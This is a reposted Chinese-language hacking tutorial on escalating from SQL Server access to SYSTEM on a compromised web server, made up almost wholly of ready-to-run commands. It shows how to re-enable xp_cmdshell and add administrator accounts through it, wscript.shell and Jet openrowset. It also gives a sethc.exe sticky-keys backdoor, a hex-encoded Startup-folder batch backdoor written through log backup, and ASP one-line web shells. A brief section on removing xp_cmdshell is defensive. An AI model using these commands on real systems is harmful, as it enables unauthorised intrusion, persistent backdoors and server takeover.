網站sqlserver提權操作


 
 在入侵過程中,得到SQLserver的權限,想進一步得到system權限的方法總結


*************************** 利用xp_cmdshell ***********************************

一.更改sa口令方法:
用sql綜合利用工具連接后,執行命令:
exec sp_password NULL,'新密碼','sa'
(提示:慎用!)

二.簡單修補sa弱口令.

方法1:查詢分離器連接后執行:
if exists (select * from
dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and
OBJECTPROPERTY(id, N'IsExtendedProc') = 1)

exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'

然后按F5鍵命令執行完畢

方法2:查詢分離器連接后
第一步執行:use master
第二步執行:sp_dropextendedproc 'xp_cmdshell'
然后按F5鍵命令執行完畢


三.恢復xp_cmdshell
簡單恢復xp_cmdshell
;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'--

1.未能找到存儲過程'master..xpcmdshell'.
恢復方法:查詢分離器連接后,
第一步執行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
第二步執行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
然后按F5鍵命令執行完畢

2.無法裝載 DLL xpsql70.dll 或該DLL所引用的某一DLL。原因126(找不到指定模塊)
恢復方法:查詢分離器連接后,
第一步執行:sp_dropextendedproc "xp_cmdshell"
第二步執行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
然后按F5鍵命令執行完畢

3.無法在庫 xpweb70.dll 中找到函數 xp_cmdshell。原因: 127(找不到指定的程序)
恢復方法:查詢分離器連接后,
第一步執行:exec sp_dropextendedproc 'xp_cmdshell'
第二步執行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
然后按F5鍵命令執行完畢

四、利用xp_cmdshell
exec master..xp_cmdshell 'ver'
exec master.dbo.xp_cmdshell 'net user test test /add'
exec master.dbo.xp_cmdshell 'net localgroup administrators test /add'


五.SQL Server2005在默認情況下,一些存儲過程是關閉着的,需要命令打開
開啟xp_cmdshell:
exec sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure'xp_cmdshell', 1;RECONFIGURE;
關閉xp_cmdshell:
exec sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure'xp_cmdshell', 0;RECONFIGURE;

開啟'OPENROWSET':
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure'Ad Hoc Distributed Queries',1;RECONFIGURE;

開啟'sp_oacreate':
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure'Ole Automation Procedures',1;RECONFIGURE;



******************************* 利用wscript.shell *****************************************

使用wscript.shell直接添加系統帳戶:
查詢分離器連接后,xp或2003server系統下使用:

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用戶 密碼 /add'

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用戶 /add'



************************************ 利用SQL沙盒模式 ********************************
note:什么是沙盒模式?
沙盒模式是數據庫的一種安全功能.在沙盒模式下,只對控件和字段屬性中的安全且不含惡意代碼的表達式求值.如果表達式不使用可能以某種方式損壞數據的函數或屬性,則可認為它是安全的.

首先開啟沙盒模式:
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;--

然后利用jet.oledb執行系統命令

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net user test 1234 /add")')

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net localgroup administrators test /add")')

搞定 ^_^ !



******************** sa無xp_cmdshell下的提權 ***********************

代碼:
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';

代碼:
declare @oo int
exec sp_oacreate 'scripting.filesystemobject', @oo out
exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';

成功后3389登陸按五次shift鍵。成功進入服務器。
一直向上點”我的電腦“右鍵“管理” 用戶管理直接加用戶。




****************************** 超必殺:利用db_owner *************************
先測試xp_cmdshell是否可用
exec master..xp_cmdshell 'ver'
提示權限拒絕,db_owner權限.

利用xp_dirtree列目錄
exec master..xp_dirtree 'c:\',1,1
查看啟動項
exec master..xp_dirtree 'C:\Documents and Settings\Administrator\「開始」菜單\程序\啟動',1,1
列數據庫
SELECT DB_NAME()

利用url或者sql查詢器log備份bat或一句話
alter database [northwind] set RECOVERY FULL--
create table cmd (a image)--
backup log [northwind] to disk = 'c:\cmd1' with init--
insert into cmd (a) values (0x130A0D0A404563686F206F66660D0A406364202577696E646972250D0A4064656C20646972202F73202F612073657468632E6578650D0A40636F7079202577696E646972255C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C73657468632E657865202F790D0A40636F7079202577696E646972255C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C646C6C63616368655C73657468632E657865202F790D0A)--
backup log [northwind] to disk = 'C:\Documents and Settings\Administrator\「開始」菜單\程序\啟動\start.bat'--
drop table cmd--

再去查看一下啟動項就有一個bat了
exec master..xp_dirtree 'C:\Documents and Settings\Administrator\「開始」菜單\程序\啟動',1,1

最后,等着administrator重新登陸或者重啟就OK了!

note:bat文件是shift腳本就是shift后門,用HEX轉的16進制,可修改替換.












************************ 存儲過程寫文件 *************************
exec master.dbo.xp_subdirs 'c:\www\';
exec sp_makewebtask 'c:\www\hack.asp','select''<%execute(request("SB"))%>'' '
declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'c:\testing.txt', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,<<testing>>




*********************** 一句話表達式為,容錯改Execute為Eval *************
<%%25Excute(request("sb"))%%25>
<%Excute(request("sb"))%>
%><%execute request("sb")%><%
<script language=VBScript runat=server>execute request("sb")</script>
<%25Execute(request("sb"))%25>


感謝:jude_liu


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM